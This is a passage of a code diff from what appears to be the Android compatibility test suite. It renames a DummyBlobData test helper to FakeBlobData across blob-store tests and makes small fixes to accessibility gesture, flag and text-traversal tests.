+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -283,7 +283,7 @@
 
     @Test
     public void testCloseSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -322,7 +322,7 @@
 
     @Test
     public void testAllowPublicAccess() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -343,7 +343,7 @@
 
     @Test
     public void testAllowPublicAccess_abandonedSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -366,7 +366,7 @@
 
     @Test
     public void testAllowSameSignatureAccess() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -387,7 +387,7 @@
 
     @Test
     public void testAllowSameSignatureAccess_abandonedSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -410,7 +410,7 @@
 
     @Test
     public void testAllowPackageAccess() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -432,7 +432,7 @@
 
     @Test
     public void testAllowPackageAccess_allowMultiple() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -457,7 +457,7 @@
 
     @Test
     public void testAllowPackageAccess_abandonedSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -483,7 +483,7 @@
 
     @Test
     public void testPrivateAccess() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final TestServiceConnection connection1 = bindToHelperService(HELPER_PKG);
         final TestServiceConnection connection2 = bindToHelperService(HELPER_PKG2);
@@ -517,7 +517,7 @@
 
     @Test
     public void testMixedAccessType() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -542,7 +542,7 @@
 
     @Test
     public void testMixedAccessType_fromMultiplePackages() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final TestServiceConnection connection1 = bindToHelperService(HELPER_PKG);
         final TestServiceConnection connection2 = bindToHelperService(HELPER_PKG2);
@@ -579,7 +579,7 @@
 
     @Test
     public void testSessionCommit() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -607,7 +607,7 @@
 
     @Test
     public void testSessionCommit_incompleteData() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -626,7 +626,7 @@
 
     @Test
     public void testSessionCommit_incorrectData() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -649,7 +649,7 @@
 
     @Test
     public void testRecommitBlob() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
 
         try {
@@ -673,7 +673,7 @@
 
     @Test
     public void testRecommitBlob_fromMultiplePackages() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final TestServiceConnection connection = bindToHelperService(HELPER_PKG);
         try {
@@ -701,7 +701,7 @@
     public void testSessionCommit_largeBlob() throws Exception {
         final long fileSizeBytes = Math.min(mBlobStoreManager.getRemainingLeaseQuotaBytes(),
                 150 * 1024L * 1024L);
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setFileSize(fileSizeBytes)
                 .build();
         blobData.prepare();
@@ -740,7 +740,7 @@
             completableFutures[i] = CompletableFuture.supplyAsync(() -> {
                 final int minSizeMb = 30;
                 final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
-                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                         .setFileSize(fileSizeBytes)
                         .build();
                 try {
@@ -774,7 +774,7 @@
             completableFutures[i] = CompletableFuture.supplyAsync(() -> {
                 final int minSizeMb = 30;
                 final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
-                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                         .setFileSize(fileSizeBytes)
                         .build();
                 try {
@@ -824,7 +824,7 @@
 
     @Test
     public void testOpenBlob() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -858,7 +858,7 @@
 
     @Test
     public void testAcquireReleaseLease() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -893,8 +893,8 @@
 
     @Test
     public void testAcquireLease_multipleLeases() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
+        final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(42)
                 .build();
         blobData.prepare();
@@ -926,7 +926,7 @@
 
     @Test
     public void testAcquireLease_leaseExpired() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         try {
@@ -947,7 +947,7 @@
     public void testAcquireRelease_deleteAfterDelay() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(1);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
             try {
                 commitBlob(blobData);
@@ -978,7 +978,7 @@
 
     @Test
     public void testAcquireReleaseLease_invalidArguments() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             assertThrows(NullPointerException.class, () -> mBlobStoreManager.acquireLease(
@@ -1000,7 +1000,7 @@
 
     @Test
     public void testStorageAttributedToSelf() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final long partialFileSize = 3373L;
 
@@ -1086,7 +1086,7 @@
 
     @Test
     public void testStorageAttribution_acquireLease() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
 
         final StorageStatsManager storageStatsManager = mContext.getSystemService(
@@ -1164,7 +1164,7 @@
 
     @Test
     public void testStorageAttribution_withExpiredLease() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
 
         final StorageStatsManager storageStatsManager = mContext.getSystemService(
@@ -1227,7 +1227,7 @@
         runWithKeyValues(() -> {
             final LongSparseArray<BlobHandle> blobs = new LongSparseArray<>();
             for (long blobSize : new long[] {20L, 30L, 40L}) {
-                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                         .setFileSize(blobSize * Utils.MB_IN_BYTES)
                         .build();
                 blobData.prepare();
@@ -1238,7 +1238,7 @@
                 blobs.put(blobSize, blobData.getBlobHandle());
             }
             final long blobSize = 40L;
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                     .setFileSize(blobSize * Utils.MB_IN_BYTES)
                     .build();
             blobData.prepare();
@@ -1263,7 +1263,7 @@
         final long totalBytes = Environment.getDataDirectory().getTotalSpace();
         final long limitBytes = 50 * Utils.MB_IN_BYTES;
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                     .setFileSize(limitBytes + (5 * Utils.MB_IN_BYTES))
                     .build();
             blobData.prepare();
@@ -1281,11 +1281,11 @@
         final long limitBytes = 50 * Utils.MB_IN_BYTES;
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext)
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext)
                     .setFileSize(40 * Utils.MB_IN_BYTES)
                     .build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext)
                     .setFileSize(30 * Utils.MB_IN_BYTES)
                     .build();
             blobData2.prepare();
@@ -1309,7 +1309,7 @@
     public void testRemainingLeaseQuota() throws Exception {
         final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
         final long blobSize = 100 * Utils.MB_IN_BYTES;
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setFileSize(blobSize)
                 .build();
         blobData.prepare();
@@ -1333,7 +1333,7 @@
     public void testRemainingLeaseQuota_withExpiredLease() throws Exception {
         final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
         final long blobSize = 100 * Utils.MB_IN_BYTES;
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setFileSize(blobSize)
                 .build();
         blobData.prepare();
@@ -1357,7 +1357,7 @@
     @Test
     public void testAccessExpiredBlob() throws Exception {
         final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setExpiryDurationMs(expiryDurationMs)
                 .build();
         blobData.prepare();
@@ -1382,7 +1382,7 @@
     @Test
     public void testAccessExpiredBlob_withLeaseAcquired() throws Exception {
         final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setExpiryDurationMs(expiryDurationMs)
                 .build();
         blobData.prepare();
@@ -1410,7 +1410,7 @@
         final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(2);
         final long leaseAcquisitionWaitDurationMs = TimeUnit.SECONDS.toMillis(1);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
             try {
                 final long blobId = commitBlob(blobData);
@@ -1441,7 +1441,7 @@
 
     @Test
     public void testCommitBlobAfterIdleMaintenance() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         final long partialFileSize = 100L;
@@ -1468,7 +1468,7 @@
     public void testExpiredSessionsDeleted() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
 
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -1487,7 +1487,7 @@
     public void testExpiredSessionsDeleted_withPartialData() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
 
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -1509,9 +1509,9 @@
     @Test
     public void testCreateSession_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext).build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext).build();
             blobData2.prepare();
 
             mBlobStoreManager.createSession(blobData1.getBlobHandle());
@@ -1523,9 +1523,9 @@
     @Test
     public void testCommitSession_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext).build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext).build();
             blobData2.prepare();
 
             commitBlob(blobData1, null /* accessModifier */, true /* expectSuccess */);
@@ -1536,9 +1536,9 @@
     @Test
     public void testLeaseBlob_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext).build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext).build();
             blobData2.prepare();
 
             commitBlob(blobData1);
@@ -1553,11 +1553,11 @@
     @Test
     public void testExpiredLease_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext).build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext).build();
             blobData2.prepare();
-            final DummyBlobData blobData3 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData3 = new FakeBlobData.Builder(mContext).build();
             blobData3.prepare();
             final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
 
@@ -1583,7 +1583,7 @@
     @Test
     public void testAllowPackageAccess_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
 
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -1604,45 +1604,45 @@
         // and tag are equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             assertThat(blobHandle1).isEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if digests are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if expiry times are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1112L, "tag");
+                    "Fake blob", 1112L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if labels are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob1", 1111L, "tag");
+                    "Fake blob1", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob2", 1111L, "tag");
+                    "Fake blob2", 1111L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if tags are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag1");
+                    "Fake blob", 1111L, "tag1");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag2");
+                    "Fake blob", 1111L, "tag2");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
     }
@@ -1698,7 +1698,7 @@
         }
     }
 
-    private void commitAndVerifyBlob(DummyBlobData blobData) throws Exception {
+    private void commitAndVerifyBlob(FakeBlobData blobData) throws Exception {
         commitBlob(blobData);
 
         // Verify that blob can be accessed after committing.
@@ -1708,16 +1708,16 @@
         }
     }
 
-    private long commitBlob(DummyBlobData blobData) throws Exception {
+    private long commitBlob(FakeBlobData blobData) throws Exception {
         return commitBlob(blobData, null);
     }
 
-    private long commitBlob(DummyBlobData blobData,
+    private long commitBlob(FakeBlobData blobData,
             AccessModifier accessModifier) throws Exception {
         return commitBlob(blobData, accessModifier, true /* expectSuccess */);
     }
 
-    private long commitBlob(DummyBlobData blobData,
+    private long commitBlob(FakeBlobData blobData,
             AccessModifier accessModifier, boolean expectSuccess) throws Exception {
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
@@ -1754,12 +1754,12 @@
         void modify(BlobStoreManager.Session session) throws Exception;
     }
 
-    private void commitBlobFromPkg(DummyBlobData blobData, TestServiceConnection serviceConnection)
+    private void commitBlobFromPkg(FakeBlobData blobData, TestServiceConnection serviceConnection)
             throws Exception {
         commitBlobFromPkg(blobData, ICommandReceiver.FLAG_ACCESS_TYPE_PRIVATE, serviceConnection);
     }
 
-    private void commitBlobFromPkg(DummyBlobData blobData, int accessTypeFlags,
+    private void commitBlobFromPkg(FakeBlobData blobData, int accessTypeFlags,
             TestServiceConnection serviceConnection) throws Exception {
         final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
         try (ParcelFileDescriptor pfd = blobData.openForRead()) {
@@ -1779,7 +1779,7 @@
         }
     }
 
-    private void assertPkgCanAccess(DummyBlobData blobData, String pkg) throws Exception {
+    private void assertPkgCanAccess(FakeBlobData blobData, String pkg) throws Exception {
         final TestServiceConnection serviceConnection = bindToHelperService(pkg);
         try {
             assertPkgCanAccess(blobData, serviceConnection);
@@ -1788,7 +1788,7 @@
         }
     }
 
-    private void assertPkgCanAccess(DummyBlobData blobData,
+    private void assertPkgCanAccess(FakeBlobData blobData,
             TestServiceConnection serviceConnection) throws Exception {
         final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
         commandReceiver.acquireLease(blobData.getBlobHandle());
@@ -1798,7 +1798,7 @@
         }
     }
 
-    private void assertPkgCannotAccess(DummyBlobData blobData, String pkg) throws Exception {
+    private void assertPkgCannotAccess(FakeBlobData blobData, String pkg) throws Exception {
         final TestServiceConnection serviceConnection = bindToHelperService(pkg);
         try {
             assertPkgCannotAccess(blobData, serviceConnection);
@@ -1807,7 +1807,7 @@
         }
     }
 
-    private void assertPkgCannotAccess(DummyBlobData blobData,
+    private void assertPkgCannotAccess(FakeBlobData blobData,
         TestServiceConnection serviceConnection) throws Exception {
         final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
         assertThrows(SecurityException.class,
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
index 2c8535d..2fb7916 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityServiceInfoTest.java
@@ -50,6 +50,20 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class AccessibilityServiceInfoTest {
+    private static final int FLAGS_MASK = AccessibilityServiceInfo.DEFAULT
+            | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
+            | AccessibilityServiceInfo.FLAG_REQUEST_ENHANCED_WEB_ACCESSIBILITY
+            | AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS
+            | AccessibilityServiceInfo.FLAG_ENABLE_ACCESSIBILITY_VOLUME
+            | AccessibilityServiceInfo.FLAG_REQUEST_ACCESSIBILITY_BUTTON
+            | AccessibilityServiceInfo.FLAG_REQUEST_FINGERPRINT_GESTURES
+            | AccessibilityServiceInfo.FLAG_SERVICE_HANDLES_DOUBLE_TAP
+            | AccessibilityServiceInfo.FLAG_REQUEST_MULTI_FINGER_GESTURES
+            | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
+            | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
+            | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
+            | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK;
+
     private AccessibilityManager mAccessibilityManager;
     private PackageManager mPackageManager;
 
@@ -102,13 +116,16 @@
         final AccessibilityServiceInfo speakingService = enabledServices.get(0);
         assertSame(AccessibilityEvent.TYPES_ALL_MASK, speakingService.eventTypes);
         assertSame(AccessibilityServiceInfo.FEEDBACK_SPOKEN, speakingService.feedbackType);
-        assertEquals(AccessibilityServiceInfo.DEFAULT
+
+        int serviceFlags = AccessibilityServiceInfo.DEFAULT
                 | AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
                 | AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE
                 | AccessibilityServiceInfo.FLAG_REQUEST_FILTER_KEY_EVENTS
                 | AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS
-                | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK,
-                speakingService.flags);
+                | AccessibilityServiceInfo.FLAG_REQUEST_SHORTCUT_WARNING_DIALOG_SPOKEN_FEEDBACK;
+
+        assertEquals(speakingService.flags & FLAGS_MASK, serviceFlags);
+
         assertSame(/* expected= */ 0l, speakingService.notificationTimeout);
         assertEquals(/* expected= */ "Some description", speakingService.getDescription());
         assertNull(speakingService.packageNames /*all packages*/);
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 19d406c..d79d927 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 69474b9..37a4997 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -70,7 +70,10 @@
 
     // Constants
     private static final float GESTURE_LENGTH_INCHES = 1.0f;
-    private static final long STROKE_MS = 400;
+    // The movement should exceed the threshold 1 cm in 150 ms defined in Swipe.java. It means the
+    // swipe velocity in testing should be greater than 2.54 cm / 381 ms. Therefore the
+    // duration should be smaller than 381.
+    private static final long STROKE_MS = 380;
     private static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
     private static final long EVENT_DISPATCH_TIMEOUT_MS = 3000;
     private static final PointF FINGER_OFFSET_PX = new PointF(100f, -50f);
@@ -132,8 +135,11 @@
         mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
         mTapLocation = new PointF(mCenter);
         mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
-        mStrokeLenPxY = (int) (GESTURE_LENGTH_INCHES * metrics.ydpi);
-        mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES);
+        // The threshold is determined by xdpi.
+        mStrokeLenPxY = mStrokeLenPxX;
+        final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
+        final boolean screenHighEnough =  metrics.heightPixels / 2 > mStrokeLenPxY;
+        mScreenBigEnough = screenWideEnough && screenHighEnough;
         if (!mScreenBigEnough) {
             return;
         }
@@ -286,23 +292,6 @@
                 displayId);
 
         testGesture(
-                MultiFingerSwipe(displayId, 2, 0, dy),
-                AccessibilityService.GESTURE_2_FINGER_SWIPE_DOWN,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 2, -dx, 0),
-                AccessibilityService.GESTURE_2_FINGER_SWIPE_LEFT,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 2, dx, 0),
-                AccessibilityService.GESTURE_2_FINGER_SWIPE_RIGHT,
-                displayId);
-        testGesture(
-                MultiFingerSwipe(displayId, 2, 0, -dy),
-                AccessibilityService.GESTURE_2_FINGER_SWIPE_UP,
-                displayId);
-
-        testGesture(
                 MultiFingerSwipe(displayId, 3, 0, dy),
                 AccessibilityService.GESTURE_3_FINGER_SWIPE_DOWN,
                 displayId);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index ead2e7a..c524c2a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -1046,15 +1046,6 @@
         assertEquals(3, Selection.getSelectionStart(editText.getText()));
         assertEquals(3, Selection.getSelectionEnd(editText.getText()));
 
-        // Unfocus the view so we can get rid of the soft-keyboard.
-        sInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                editText.clearFocus();
-                editText.setFocusable(false);
-            }
-        });
-
         // Move to the previous character and wait for an event.
         AccessibilityEvent seventhExpected = sUiAutomation
                 .executeAndWaitForEvent(new Runnable() {
@@ -2048,15 +2039,6 @@
         assertEquals(11, Selection.getSelectionStart(editText.getText()));
         assertEquals(11, Selection.getSelectionEnd(editText.getText()));
 
-        // Unfocus the view so we can get rid of the soft-keyboard.
-        sInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
